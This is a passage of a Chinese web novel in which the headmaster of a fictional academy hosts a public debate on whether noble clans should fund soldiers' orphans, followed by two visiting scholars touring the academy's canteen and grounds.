事情到了这个地步,已经不是一两个人的问题了,而是意气之争,三观之争! 不少大儒生怕自己这一方观点的学生辩不明白,或者讲不清楚想法,因此听闻了童启允许帮忙后,便立即行动起来,离得远的,便千里加急写信给那个辩论的学生,陈述自己的意见,而离得近的,则干脆自己驾车去河南府,围观起这场辩论赛来! 那热血程度之巨,简直恨不得撸起袖子自己上一般。 河南府人流量再次迎来暴涨。 此次的动静可比上次的蹴鞠赛阵仗更大些。 若说蹴鞠赛只是两个书院之间的体育实力斗争,那么这次的辩论,便涉及 到了各个阶层的利益之争,主要参与的都是文人。 还是那种极其有自己想法的文人! 一连几日,河南府州城门口,马车、牛车络绎不绝。 光是报上名帖,进入城内的知名大儒,便有十几位。 好不容易恢复了一点点伤势的顾信之,刚想批阅一些公文,看看河南府最近发生了什么事,见到此场景,顿时又被刺激的不轻。 “这个童启,果真是爱出风头!这才多久啊,又折腾起来了。嗯?吴老?他怎么来了?刘老竟然也在?我的天哪!我一直想拜访一下刘启明老前辈!他竟然亲自来河南府了?呜呜呜,我为什么偏偏这个时候受伤,就不能再晚一点举办这个什么辩论赛吗?” 他也想光明正大去拜访一下老前辈啊! 别说顾信之了,就连胡丞相、大皇子等人听闻了此消息,也颇为震惊。 吴老、刘老?那可都是前朝的宰相之家出来的人!之前皇帝三催四请希望他们家族里的人能出来入朝为官,可皆被拒绝了。 他们竟然也出山了? 伊川县,客栈里准备辩论赛的几个学生,早已经快傻了。 刚开始他们拿到议题的时候,还在发愁要怎么办。毕竟这些议题方向都着实有些沉重,稍有不慎,便会暴露自己浅薄的学识,可到了第三天,一切悄然发生了变化,不仅很多知名大儒送过来了拜帖,说是希望能够助他们一臂之力,就连客栈的老板都直接全免了房费,允许他们在大厅内公开讨论。 不少商家甚至自愿帮忙,提供银钱、物品上的支持。 这种全民参与辩论的氛围,简直看的大家一愣一愣的。 潘阆也没有想到,一招祸水东引,竟然会招的这么多大儒过来。 他看着报纸上刊登出来的辩题与参与人员,心下担忧。 “那些人都有大儒帮忙,梳理思路,可咱们的学生呢,怎么办?对上他们是不是显得有点弱势了?” 童启淡定无比,半点不慌。 反正这些辩题本身就是怎么辩也辩不明白的,在这个朝代里,最后达成什么样的结果都属于正常。 他并没有要求哪一方一定得赢,只是想看一看大家在这些问题上的实力和认知情况罢了。 再说了,真要辩,他们华夏书院的学生们也未必会输。 且不说这一年里几个孩子在书院里所学的各种知识,就是平日里童启给他们讲述的小故事,也早就蕴含了许多超出这个时代的思想与宽度。 他们的眼界,早已经和其他人不是同一个层面了。 只是他们还未发现罢了。 再说,这几个参与辩论的学生,也不是什么省油的灯,岂会坐以待毙? 果然,这几个先生刚讨论完,晚上,便被李元昊等人给找到了宿舍楼来。 “先生先生,帮我们看看这个辩题的论点吧,还有什么能够补充的吗?” “先生,之前听说山长有一份西夏人砍杀环县人数的报表,您这里有没有?能不能也分给我一份?” “我不会引经据典,先生,我若是说西夏狼子野心的话,要怎么开头,才会显得有才学呢?” …… 眼见着李元昊澄澈单纯的目光,潘阆不由在心里叹了一声童山长的促狭。 到底是怎么想出来让西夏小王子自己辩自己国家狼子野心的啊? 也太地狱笑话了吧? 但本着师生关系的内外之分,他仍旧为其梳理了脉络。 谢君仪等人更是厉害,直接借助沈亦找到了安庆侯帮忙,要求统计世家所倾占的土地数量,甚至还找了谢家当地的店铺账房,以一家店铺推测自家一年的产出到底有多少,来佐证世家完全可以付出一半的京都店铺,以抚养军属后代的事实。 谢家的账房:…… 什么是未辩先火啊? 这便是未辩先火了! 永远不要低估大奉朝人民对于凑热闹的积极性,京都内不少赌坊早已经开始提前压起了谁胜谁负,三皇子等人也直接撂下了所有公务,一同围观起这场辩论赛来,即便世家们上书反对了很多次,但都没有阻止起这场辩论赛的正式举办。 五日后,风和日丽,光和景明。 第一场辩论赛在华夏书院大礼堂上正式召开。 光是围观的人便占据了满满一个礼堂,连带着楼梯上都布满了人。 这一次,童启并未再收门票。 除了第一排固定留给了书院里的先生们、远途而来的知名大儒们,剩下的位置,谁都可以进来聆听。 毫无门槛。 他将先生们上课时用的小蜜蜂借了出来,递给两位辩手,力求这个礼堂内每个角落的人,都能够听的一清二楚。 “这个是吴老,前朝三任宰相都出自他们家,乃北部著名大儒;这个是刘老,山东曲阜人,与孔子后代同一个私塾长大,家中藏书可达万万卷……” 柏老与潘阆拉着他,一一介绍着。 第90章 第90章辩论赛(上) 童启被带着上前,恭敬的打着招呼。 换现代,这些人,其实就相当于各研究领域的大拿,特意远道而来,观看一个大学里的迎新比赛一般,令人感到离谱。 但他清楚,这些大儒并非为了自己或者是华夏书院,更多的还是源于今日的辩题内容。 所以童启并未多做寒暄,只是打完一圈招呼,尽完地主之谊后,便退到了一旁,轻松落座,把今日的主视角重新交还到了学生们身上。 吴老几个人有些意外。 以往那些人遇见他们,总是拉着手絮叨个不停,有让出山的,有让入朝为官的,有巴结讨好的,有试探求取的,这还是第一个没有任何态度,只把他们当成纯粹观众和路人的? 有点意思。 其实他们能来这场辩论,也实属意外。 华夏书院名声斐然,这是他们很早就知晓的事情,得知童启要举办辩论赛,左不过以为又是以往那些陈词滥调,歌功颂德罢了,可谁知好友的一封信,却打破了他们的认知,让几个瞬间产生了浓厚的兴趣。 “还请诸位先生猜一下五场辩论,哪方会赢得胜利?” 一句简简单单的挑衅,伴随着那明显引战的辩题,令刘启明和吴老等人再也坐不住,干脆起身奔赴河南府,亲自一观。 他们悄然打量着这座大礼堂,悬顶上高耸开阔,没有任何雕刻与绘画,如同整块大理石直接镶嵌其中一般,光滑平整;红色的绒布包裹着每个座位,呈阶梯状依次抬高,宽敞而整洁;巨大的黑色木板挂在核心演讲台后,上写着今日的辩题,笔走龙蛇的字体,透漏着深深的文化底蕴。 虽简约,却独特,不像是前朝任何一种风格。 传闻中,华夏书院不缺钱,其山长更是擅长赚钱,今日一见,倒果真有那么一点真实。 这手笔,这阔气,确实并非一般的私塾可比拟的。 除了吴老、刘老等人,其他人也在暗暗打量着这座礼堂。 今日许多贵族、世家都到了场,齐齐坐在第二排,与其他百姓们远远隔开。他们对华夏书院是既厌又惧,尤其对于童启,更是满腹幽怨。 见到他落座后,不由翻了个大大的白眼,一同昂起了高贵的头颅来。 此次辩论,分两日进行。 第一天两场,第二天,三场。 今日,乃陆无双与谢君仪的世家之辩,以及李元昊与冯晏春的边疆之争。 因为切实到社会现状之上,且辩手又与之有关,因此来了不少凑热闹的平民们。 “他们能听懂吗?” 有人低声吐槽着,嫌弃这屋里的味道太大,影响了他的熏香。 也有人恨不得离得远远的,避免与平民之间的接触。 几个阶级之间的座位如抱团般,泾渭分明。 童启远远看着,并未说什么。 校刊部门的墨竹、流苏二人早已经摆好了桌子,提前准备起来,力求一字不落,记下几人的所有发言与反 应,而旁边的大奉朝报记者也不甘示弱,研墨的研墨,摆纸的摆纸,目光灼灼,就像是等待着一场战争一般。 选手区内,两位选手紧张不已,拿着稿子的手都已然抖成了摆子。 这还是他们第一次面对这么多人,讲解自己的观点,声势浩大,怎么可能不慌? 谢君仪稍微还好些,毕竟环县实践时曾有过一些经验,可陆无双就惨了,不仅光茅厕就跑了四五次,连带着焦虑上火,嗓子也哑了很多,根本难以大声说话。 这源于今日吴郡陆氏的家主也来到了现场,而且就坐在第二排,一脸严肃的环胸注视着他,仿佛但凡从他嘴里听到一句错漏,丢了家里的人,便会当场直接将他驱逐出族谱一般。 谢君仪同情的看了他一眼,拍了拍他的肩膀,道。 “加油吧,尽力即可!” 陆无双龇牙笑笑,将肩膀上的手推了下去。 柳三变并未参与这一次的辩论赛,但他成功从山长那里求到了一个主持人的位置。 见到时间差不多了,便整理着自己的衣衫,缓缓走上台前,整张脸都透着一股认真严肃的劲儿。 “距离辩论赛开始,还有一盏茶的时间,请各位来宾依序入座,莫要发出大的声响。” 清晰的话语从话筒中传出来,响彻于场内,令不少人都吓了一跳。 柳三变站在演讲台上,缓缓介绍道。 “欢迎各位来宾的到来,我是本次辩论赛的主持人柳三变,下面由我先宣读一下此次辩论赛的比赛规则。” 一年级和学前班的学生帮忙展示着即将用到的东西。 背后的黑板缓缓被人推了上去,露出【华夏书院第一届辩论赛】的字体来。 上方,则是今日第一场的辩论题目。 【天下兴亡匹夫有责,如今国库空虚,战士遗孤安置问题难以得到有效解决,是否可以强令京都七十二家正点半数以上交由厢军遗孤所经营,以平和此矛盾?】 谢君仪与陆无双各站在左右两边。 相对而立。 柳三变用手中的小木槌敲了三下,声音稚嫩却冷静。 “下面,有请此次辩论赛第一场的两位辩手出场。正方辩手出身自琅琊谢氏,乃华夏书院一年级学生,谢君仪。反方辩手出身自吴郡陆氏,乃此次应考华夏书院的预备役学生,陆无双。” 辩论时长总计一个小时,前三十分钟,双方选手各自有十五分钟的时间,做观点陈述,而后三十分钟,则是自由辩论,可随意打断,只要沙漏中的流沙流尽,便算做时间结束,再无发言的机会。 “……以上,你们可还有疑惑之处?” “并无。” “并无。” 两个人乖巧回答。 这个规则,在辩题送过来的时候就已经在邀请函上说的十分清楚了。 沙漏流尽总计有两柱香的时间,加起来,也就是半个时辰。 要想讲述清楚,还是比较困难的。 童庆安与沈亦站在一旁负责计时,戚风言则捏着两根竹签走了上来。 “下面,来抽取率先发言的人。戚风言手中有两支长短不一的竹签,有请抽到长者的一方,率先发言。” 两个人深呼吸一口气,调整着情绪,上前各自捏住一根,抽出。 长的那端,在谢君仪手中。 “好,那么有请正方辩手率先发言,准备好的话,请发言。” 谢君仪点了点头,朗身走上演讲台,面对着所有的观众们。 “我认为,世家有义务送出京都七十二店的一半,用来抚养厢军遗孤。” 他率先定论道。 “让我们先来看一看一组数据。都言世家富贵,那么他们到底有如何富贵呢?反面辩手,你出自吴郡陆氏对吧?那你应该听闻过一则歌谣,‘吴门金玉映堂皇,陆郡珠翠绕画梁。谢家绫罗铺满地,刘府珍馐飘四方……’,如此盛景,应是你司空见惯的景色?毕竟你们家族光是土地便拥有二十三万亩,佃户便超过两万多人,一年仅店铺净产出便高达五万两银子,更何况珠宝珍玩,田庄猎物,对吧?” 在场所有的百姓们在听到这一连串数字的同时,瞬间倒抽一口凉气。 而吴郡陆氏的家主更是当场变色,瞬间唰的一下就站了起来,拍案大骂道,“胡说,谢家小儿,你莫要造谣!” “造谣吗?” 谢君仪调皮的耸耸肩,冲着下方的陆家家主笑了笑,道。 “难道这歌谣并不存在?还是说这数据比实际上的还要低一些呢?诸位,我敢断言,此数据乃我从自家田亩地税中推测而出的,不敢保证精确,但一定只少不多!陆家家主莫急,我还没说完呢……” 童继本早已经带着安保部门随时待命,见到陆家家主站起身来,忙令人坐下,不得打扰辩手的发言。 事实证明,谢君仪确实大胆,更没有任何遮挡的意思,他不仅说了陆家,连带着自己家、吴家、刘家,一个没漏,全部揭了个底掉! 尤其以谢氏的产业,说的更细更真——因为皆是他知晓的。 “……而以上,还不过只是能够看到的资产罢了。世家积累不止如此,珠宝玛瑙、器物珍玩、孤本书画、田租年礼……这么说,光是谢氏一年的租米,每年便能给达到十万石的分量!这个数字有多可怕呢?让我们来横向对比一下,一个普通成年人,即便一日三餐,卯足了劲儿吃,一整年所消耗的粮食也不过才仅仅20石罢了!而谢氏的租米,可以养活5000个像这样的成年人!所以说,京都七十二家店对于世家来说,那便如同从森林中抽出一根木头,从大海中取出一瓢饮一般……完全是他们能够做到,且不影响任何生活的存在。” “可对于厢军遗孤们来说呢?那如同救命钱,如同后半生的立命之根本!都说家国,家国,厢军遗孤是怎么形成的,不就是他们的男人、父亲在战场上热血牺牲了,拼死护住这个家,才造成的此般惨状吗?明明护住的是所有人的家,所有人的国,可这苦难、痛苦,却为什么要让对方独自去承受?” “仅仅是几家店铺而已,无关痛痒,可拯救的却是无数战士的大后方,让他们得以安心在战场上拼杀,这难道不是最值得做的事情吗?圣人云,一饭千金,饮水思源。羊有跪乳之恩,鸦有反哺之义。若连心存感恩都做不到,那与畜生何异?又谈何读圣贤书,谈何做父母官?” … … 一开始谢君仪说的还有点磕磕巴巴,可随着气氛越发高涨,他越说越上头,用词也越发尖锐起来。 从世家资产说到遗孤孤苦,从国家财政危急上升到世家漠视不堪…… 直把在场所有的勋贵世家们说的脸色涨红,气喘吁吁,大有冲上台和谢君仪拼命之举。 这个时候,陆无双开始发言了。 “正方此言差矣。若像你所说,只要有钱,就必须掏出自己的钱来抚养厢军遗孤,那到底是国家在养兵,还是世家在养兵呢?” 一句话,直接斩断了谢君仪之前所有的逻辑。 第一排的吴老欣慰的松开紧皱的眉头,点点头,又坐了回去。 不少贵族也终于有了喘口气的机会,将险些提到嗓子眼的心,缓缓降落下来。 没错,就是这样!就是这样辩驳! 他们缩了半场的肩膀,重新打开,虽不会表达,但好在有人代表。 陆无双是世家的,吴老更是老牌世家出身,就不信会辩不过这么一个毛头小子! 呸,什么谢君仪,简直就是他们世家的叛徒! 在场所有人看着陆无双背后缓缓燃起的香,被说的义愤填膺的脑袋,也随之安静下来,侧耳静听着,而谢君仪则在纸上写写画画,记录着对方的发言。 前面的发言稿尚可以提前总结,请人帮忙,可后面的自由辩论,却只能靠临场发挥了。 他必须得记住对方说了什么,才能一一辩回去。 这便是先发言的弊端。 陆无双拿着发言稿,俯视着台下的观众,缓缓松出一口气,道。 “国之所以为国,靠的是什么?乃‘天无二日,土无二王,国无二君,家无二尊,以一理之也’,其【秩序】与【安定】、【公正】与【尊卑】,才是我们所有人必须要守的!若为了皇帝陛下尽忠,那我世家自然不会后退一步,可万事离不开法理二字。只是看对方有钱,便强行令对方掏出来,枉顾对方几百年的积累与经营,这与匪盗又有何异呢?” 童启缓缓扬起嘴角,深藏功与名。 对啊,这与匪盗又有何异? 陆无双在台上信誓旦旦的讲着,言辞有序。 底下的人满心期待的听着,却越听越觉得哪里不对劲。这怎么说的,好像不止是我们世家呢? 他们望了一眼旁边笑盈盈的童启,又琢磨起前段时间冯御史要求华夏书院收归国有的事情,这才恍然大悟。 好家伙,我们说怎么童启对朝堂上的事情毫无回应,合着是在这里等他们啊! 贼,实在是太贼了! 借由学生之口,枉作维护世家,却实则借由世家,维护自我。 这一招借力打力,当真看的人佩服不已,即便知晓了是在利用,可这段话却也不得不说,这便是活生生的阳谋了。 吴老等人若有所思的看了眼旁边的童启,为这个小小的山长感到意外。 而陆无双的发言,却仍未结束。 “京都七十二家店,看似赚钱,但背后所付出的心血其实也并非那般容易。正方辩手可知晓,经营一家店铺需要懂得多少知识?这么说吧,从进货,到铺卖,从洒扫,到摆放,小到迎宾行礼,大到算账税收,即便世家们将这些店铺交给厢军的遗孤来经营,你认为,他们能够经营的了吗?” 底下的百姓们跃跃欲试的心缓缓降落下来,重新恢复了低声敛气的样子。 别说算账了,大部分人连认对自己的名字都困难呢。 更何谈经营? 比起谢君仪辩论内容的强大煽动性,陆无双显然更具有冷静的智慧,他摆事实讲道理,不过一炷香的时间,便轻易令大多数在场的人改变了自己原来的想法。 是哦,人家世家之所以富贵,也是祖上一分一分攒下来的,就这么让交出来,确实有点不太对。 尊卑有别,厢军都是上辈子做了恶事,这辈子才去从军的,死了也是他们的妻小倒霉,总不能强行令别人同情吧? 若真让世家去养,那回头还算是国家的军队吗?知道的是为了朝廷分担负担,不知道的还以为世家养兵呢?回头发生战乱,那些士兵们到底是听陛下的,还是听给他们养家的世家们呢? 造反因素简直大大的! 童启坐在下方,眼见着陆无双从手足无措到冷静如同机器,心内也不由感慨起来,有些人的确天生就适合辩论,越是这种大场合,越能全神贯注,专心致志,这便是传说中的抗压型选手吗? 越挫越勇的那类? 好适合被派往前线督战啊?感觉文官能当成半个武官用的样子。 童启摸着下巴,若有所思,轻微的出着神。 双方辩论很快结束,随着自由辩论的木槌被敲响,真正精彩的时刻,仿佛也正式到来。 谢君仪和陆无双分站两旁,身着一白一黑两种颜色的长衫,如同无极中难以融合的两方一般,正式开始对垒。 谢君仪率先攻击,道,“反方辩手说的极其高大上,但有一点自始至终一直在回避,那便是在如今国库空虚,朝廷无法负担厢军遗孤的情况下,世家如此富有,为什么不能拿出一部分为国效力?别说什么厢军遗孤不懂经营之事,除了店铺,还可以给米粮,我们华夏书院即使一穷二白,还在去年黄河决堤时,联合了各大商铺世家赈济灾民呢!而反方一直回避这个问题,是不好开口,还是根本就没有想过要掏这笔钱呢?” 在场的河南府观众们悄默声挺直了胸膛,一副与有荣焉的骄傲模样。 对面的陆无双慌乱一瞬,很快冷静下来。 “谢兄怎么知道世家没有付出?不说其他,便是吴郡陆氏每年也有施粥施米的活动,天雄高氏更是经营了许多家育幼院,几乎养起了北方大半被舍弃的女童……” “所以,这些女童为什么会被舍弃?不正是因为战争而失去了自己的父母吗?你所谓的付出,只是逢年过节施舍一些粥米,这与施舍乞丐有何异?他们明明是为了国家而战死,守护的是你们大部分人的土地,捍卫的是你们大多数的财产?正常的百姓们遇到战争,退就是了!可他们呢?始终坚守在前线付出生命,难道便是为了这么一点点施舍的米粮吗?你们心中可有一瞬间的尊敬与感激?” “账不是那样算的。” “诸位看看陆兄的说辞。账?一条条活生生的生命,在你们眼里就是一串串冰冷的数字,所以才会听到这个提议如此跳脚吧?” “谢兄完全误解了我的意思!我指的是整个大奉朝的百姓们都在为了这场战争而付出,没道理只盯着世家们,也许世家们没有出太多的人力,但是每年缴纳的粮税、资产,却是普通人的数千倍。” “那么我试问那些钱从何而来?”谢君仪打断道,“天子不与民夺利,才致使的国库空虚,可世家读了那么多年的圣贤书,枉作君子之仪,却趴在数万百姓的脊背上,如同吸血的蚂蟥一般,连拿出一部分无关痛痒的钱财,都做出此般恹恹之态,难道又是什么骄傲的事情吗?” “竖子胆敢放肆!” 观众席上的世家再次被气得跳脚来,当场指着谢君仪的鼻子,就想开骂,却被身后的童继本一把捂住嘴,强行噤声。 角落里的童启默默后撤了一下,心里感叹谢君仪这小子的毒舌敢说。 难道是因为本身就出自世家的原因吗?说出这话,莫名有种难以言喻的底气。 还挺爽的。 柳三变连忙敲了三下木槌,竭力维护着礼堂内正常的秩序。 “观众请噤声,正方继续。” 谢君仪轻蔑的看了一眼堂下那熟悉的人,挑眉道,“我说完了。” 若没看错,方才那位应该便是他父亲的世交好友了。 想必这次回去肯定会和老头子告状的。 不过告就告吧,他还生怕气不到对方呢。 在华夏书院几年,他喷人的功夫见长,这才哪儿到哪儿,不过小场面罢了。 陆无双强行压下涌到胸口的怒气,干脆连谢兄也不叫了,直接就称呼谢君仪道。 “你这皆是谬论。不与民夺利,指的是不从商,与百姓计较那些蝇头小利而已,而世家的累积,大部分源自于前朝多代的赏赐与奖品。你怎么知晓世家的祖先们不像是如今的厢军们一样,拼死在战场上搏杀过呢?我们从未有过轻蔑边疆战士的意思,相反,我们十分维护他们的荣耀,但一切皆有章法。世家与百姓并非敌人,我们皆属于同一个阵营之中,都是大奉朝人,战争谁也不想看到,这也是为什么童山长千里奔赴西夏,游说谈和的原因!” “只是这责任并不能归结于我世家一方罢了,若朝廷征召,那我们自然可以共同帮助去解决遗孤安置问题,可陛下不言,我等也没道理擅专啊……” 两方你来我往,火药味越来越浓,到最后更是几乎撕破了脸。 声音也越加高昂上头。 随着柳三变宣布辩论赛的结束,在场的所有人仿佛从梦中抽离,经历了一场头脑风暴,如同被反复拉扯的风筝一般,久久难以缓过神来。 童启等了一分多钟,这才缓缓走上台,宣布下面的辩论结果。 “这的确是一场酣畅淋漓的辩论赛,两方势均力敌,就连我也难分伯仲。这样吧,我这里有一摞票,下面有请在场所有听完辩论赛的观众朋友们,从左到右,依次上台,为自己认可的论点,投上自己宝贵的一票吧。是输是赢,让我们交给大多数去选择。” 童启将自己手上的卡牌拿出,这是他之前低阶卡池里抽到的,有点类似于 那种扑克牌,应该是小孩子的玩具,硬硬的,不容易弯折,用来统计票数,再合适不过。 而两个辩手身前,则被抬上了一个透明的箱子,用来计票。 如此光明正大,毫无遮掩,完全没有暗箱操作的可能性,令众人忍不住一愣。 谁也没想到,最后的胜负竟然是在场的观众们决定的。 他们皆以为既然是童启举办的这场辩论赛,那一定是有其偏向的,所以结果自然也会是童启去宣布。 不管谁赢谁输,他们都可以大做文章,说童启包含私心。 可对方直接交给了现场的百姓们,那完完全全就是不在控制之内了。 一时间,就连吴老等人都愣住了。 大礼堂一共有一千三百个位置,可楼梯上、门口挤着的,但凡听完全程的百姓们,都被计入了投票的权利之内,一共凑齐了一千六百八十二人。 他们依次从左到右,接过手里的权利,又将这权利投到自己偏向的辩手箱中。 陌生而简单的动作,不知为何,却让人感到一股说不出的神圣感。 在场的百姓们内心茫然,这好像是他们从出生开始,第一次被人在意态度和想法,明明只是来凑热闹来的,却好似自己也发了言,平平无奇的想法,也被赋予了千金般。 因着这场猝不及防的投票,一众世家被打了个措手不及,他们压根没有串通的可能性,几乎匆匆给陆无双投完,便站到了一旁。 所以大多数人这一场,都是凭借本心,投出的喜恶。 当结果唱出来,自然也更具有真实感。 唱票结束,不出所料,谢君仪胜。 童启唇角微扬,并不意外。 实际上若论辩论内容,陆无双明显是优于谢君仪的,可站位不同,人心自有偏向,有偏向,就绝对不可能做到绝对公允。 这辩论赛本就是他为了启发民智,想要把大家没有想到的,或者从未想过的,一直忽视的内容,借个由头搬到明面上来而已,那么百姓做出任何反应,都属于正常。 因为这源于他们被压抑了数千年的意见,被看见的结果。 吴老等大儒当场愣在了原地,世家、贵族们则难以置信,纷纷扭过头去看后方那些低着脑袋的平民们,愤怒又无力。 陆无双骤然卸下了所有的力道,颓丧无比。 努力了,但没有成功。 他身后站着无数大儒又如何,百姓们敌意抗拒,他便失去了最大的基本盘。 童启悄然将他叫到一旁,低声询问道。 “你虽然输了,但条理清晰,言之有物,还算是有些特长之处,既如此,你愿不愿意从补录生开始,先进入华夏书院学前班观察后效,若能在小组实践或者赛事中获得荣誉,便转为正式的学生,如果违法违纪,则永久开除学籍,再不录用……” 童启话音还未落,对面已经连忙举起了手,双眼亮晶晶的就如同夜空中的启明星一般。 “我愿意,我愿意!” 管他什么备选生、正式生呢? 话都放出去了,能留在华夏书院自然是最好的! 他算是看出来了,这群人是真的有本事。 只辩论赛这一次就能够看出来,不过一个小小的选题罢了,便能吸引的那么多大儒来帮助他理清思路,提供论点,这在吴郡的时候,怎么可能会发生? 即便他是陆氏的,可陆氏嫡系多了,连他大哥都没有多少名气,哪里像这一次,只是个入学考核,便如此的万众瞩目? 更让他受到打击的是,谢君仪那小子。 几年前对方还和他是同一个档次级别,这才几年啊?悬殊竟然拉的如此大了? 这让他怎么甘愿! 旁边大奉朝报的记者看到结果,忙记录下来,绑在鸽子的腿上,便让其紧急送往京都。 而随着报纸上的第一场赛事被加急报道出来,两方的观点更是引爆了无数的争论,支持谢君仪一党的人庆祝胜利,如同打赢了仗一般欢声笑语,而陆无双一方则不满这个结果,又各自在其他小报上对骂了好几期,才勉强压下了火来。 赌坊里,哭笑的人如山一般,东家则抱着银子,喜得眉不见眉,眼不见眼。 不过也有好处,因着这场赛事,厢军遗孤们终于被注意了起来,不仅有很多人捐人捐物,多加照拂,还编撰了歌谣文章,歌颂厢军的不易与苦难。 世家们也做慈善的人开始增多,救济乞丐的救济乞丐,收养幼童的收养幼童,大奉朝一时间风气大善,他们似乎真的怕童启的提议成真,甚至还主动捐了不少的钱粮给朝廷,说是以支持前线战士辛苦等名义,劝户部收下。 皇帝一一笑纳。 原本心中对于童启的不满,也随着这场比赛带来的收益而烟消云散。 同时对童启的确会赚钱一事,也越发信服。 谢家家主在听闻消息后,独自坐在书房内很久。 他既欣喜于自己家族的人竟然出了一个如此长面子的孩子,又为其说的那一番话而感到愤怒。光是世交让他管一管儿子的信便几乎填满了大半个柜子,令他这才终于注意起与庶子的关系来。 有心拉拢一番,缓和一下,可写了好几封过去,却被谢君仪看也不看,直接当踮脚的撕了,不过这是后话,暂且不提。 且说第一场辩论赛结束,童启并没有急匆匆立马将第二场的选手们给抬上来,而是准备了午饭时间,请各大儒去食堂里填补一些肚子。 顺带也看看他们书院内的风景。 其他的百姓们,则为他们搬来了自动售货机,摆放在大礼堂门口,允许他们随意购买,取用热水等物。【你现在阅读的是 】 90-100 第91章 第91章辩论赛(中) 食堂内。 没有参加辩论赛的二年级学生们早已经吃上了饭,童启带着吴老等人走进来,他们慌忙起身行礼,被童启连忙摆手压了下去。 “不必拘束,吃你们的便是,我带着两位先生们简单参观一下,用个饭。”他讲道,一边领着吴老等人靠近窗口处,一边低声讲解着。 “吴老,刘老,这便是我们的学生食堂了。通常书院内的学生们在早中晚课程结束后,就会进入食堂内用餐。所有的食物皆是免费取用,吃多少取多少,不浪费即可,书院内上上下下所有人的食物皆是一样的,不分优劣。学生们可以选择在一楼 大堂内用餐,也可以选择二楼的包厢,边吃边聊,那里的环境也更加安静一些。吴老、刘老,您二位看……” “我们就在这一楼和学生们一起吃即可。” 吴老背着手,冷眼环视过二年级学生们手中的餐盘,见到还算丰盛,有荤有素,心里忍不住冷哼一声。 呵,又是面子工程。 假模假样的,以为他没有当过学生么,谁家学生会吃的这么好? 估摸着又是听闻他们要来,故意准备的吧? 没想到传闻中的童山长竟然也会做如此沽名钓誉的事情,不过他也不揭穿,如此大的食堂,光是建起来只怕就用了不少银子,再加上住宿的地方、小厮的工钱,安保人员的费用、先生们的束脩、厨娘的工资,以及这每日的菜食花销…… 若他记得不错,华夏书院内一年学费连带着杂费、住宿费之类的费用,也不过就十几两银子,日日这么吃,怎么可能负担的起? 也就趁着重大活动时丰盛一点,给学生们补补力气罢了。 算好的了。 不然岂不是倒贴开书院? 童启又不傻。 吴老自恃看破了华夏书院的伪装,骄矜的瞄了一眼童山长,见其乖巧的笑笑,一副单纯小白花的模样,满腹得意又瞬间给憋了回去。 倒是旁边的刘老十分好奇,指着后厨灶台上的东西,询问出声道。 “那是何物?黑乎乎的,瓦罐吗?似乎不是在炖煮,难道你们书院还有什么隐秘的烹饪方式不成?” 谢君仪辩论时所提到的歌谣,【刘府珍馐飘四方】,其中的‘刘府’指的就是刘老的家族。他自恃老饕,但凡天上飞的,地下跑的,水里游的,哪个没吃过?江南江北几大烹饪手法,也皆见闻过,可这华夏书院的饭菜,却不符合他看到的任何一个属性。 入锅什么样,出锅后仍旧什么样,就连那青菜也被做的绿油油、脆生生,没有半点蔫了吧唧的样子。 倒是神奇。 童启愣了一下,方才想起如今这炒锅还没有大范围普及开来的事,忙解释了一下其内原理,瞬间收获了刘老复杂的一个眼神。 用铁锅……炒菜? 你们这书院够奢靡的啊? 战场上如今可还缺着铁呢,你们倒先用这材料自创起“炒”来了,他倒要尝尝到底什么味道,与烹煮的有何不同? 随意点了两道自己没有见过的菜蔬,刘老端着那陶制的分为好几个区域的盘子,学着人装呈了饭菜,坐下。 盘子里金灿灿的不知名菜肴看起来既软且糯,比起其他菜蔬刘老已经快要咬不动的情况,这道菜几乎轻轻一抿,便能够吞入腹中,清甜,焦香,且带着一股浓浓的烟火气。 “这是……什么蔬菜,我等怎么从未见过?” 旁边的王厨娘忙解释道,“这东西,山长说叫做南瓜,是偶然从一个南方游商那里得来的种子,后来在温室大棚内培育出来,一个个结的硕大,能抱个满怀。清甜糯口,不论是蒸煮,还是炒炸都极其美味,且又不费地力,是书院里不少学生喜欢的菜蔬之一!您若想要也可以带一点回去种种,山长说这植物适应能力强哩,今年给山下好多乡民们都送了种子,就连谢公子他们去环县帮忙,也带过去了不少,听说都发了芽……” 南瓜……从南而来的瓜…… 这名字,起的够直白的,毫无考究。 味道嘛,却还不错。 刘老嫌弃的夹了一筷子塞进嘴里,眼神不经意望到旁边学生们手里拿着的竹筒,再次出声询问,道。 “他们手里拿的又是何物?” “哦,那是奶茶,用牛奶和茶叶炒制而成的,甜蜜清香,可好喝了,您……也要来一杯吗?” 刘老矜持的点点头,“那就也给我来一份尝尝吧。” 他只听说过游牧民族喜欢喝什么奶之类的东西,还头一次见中原的人也会做这种饮子。 别的不说,只冲着华夏书院这份愿意为了学生们去捣腾吃食的心,刘老心中的成见便已消解了许多。 爱吃的人,总是善良的。 他接过竹筒,小心翼翼的抿了一口,本以为会十分腥气,没想到嘴中却瞬间布满一股醇香浓郁的味道,清甜,润滑,仿佛一场春雨,直接浇灭了他一整个上午所积攒下来的郁闷之气。 好喝! 刘老眼神亮起,狠狠的又吞了一大口。 又是美食,又是奶茶。 丰盛的午餐令两位大儒心情转好,自然也不再排斥童启的拉拢与介绍,愿意屈身去逛一逛这传闻中的华夏书院,到底有何新奇之处。 童启内心知晓两位大儒不喜他,因此也没跟上,而是派了两个学前班的学生过去讲解。 午后,阳光正盛。 华夏书院内部因为在山上,反而隔绝了热气与燥意,清风阵阵。 童庆安和童淳规规矩矩的穿着书院内的制服,在前领路。 不及大腿的身高,走起路来一摇一摆,如同小鸭子一般,可爱十足。 “这便是我们的宿舍楼了,往前走便是藏书阁,但因为我们还没有拿到木牌,所以如今仍然进不去,就不介绍了,穿过这道门,便是后山,那里有山长设置的温室大棚还有实验基地……” 两个人认真的讲解着,稚嫩的童音,古板又严肃。 他们十分想要像二年级的师兄们一样,表现沉稳,可小短腿终究走不快,也走不远,还不到一半,便气喘吁吁起来,额头带汗。 两位老人看的心中柔软,不忍道。 “罢了,前方便是一处凉亭,我们歇一歇再走吧。” 明知道几岁的娃娃走不了多远,还故意派来给他们领路当向导,这童山长,着实鸡贼。 童庆安与童淳忙松了一口气,掏出手帕来擦了擦脑门上的汗,虽然他们每日都有参加晨跑活动,可大中午的逛书院,也的确是个体力活。 两个孩子不调皮,说歇就歇,乖巧的站在一旁,默默陪侍着。 亭内瞬间安静下来,只余虫鸣声。 吴老见四下无人,忍不住出声询问向两个小孩。 “你们在这书院内,呆了多久了?可有感觉到这里有什么令人不适,表里不一之处?” 刘老瞥了一眼自己套话的好友,没有做声。 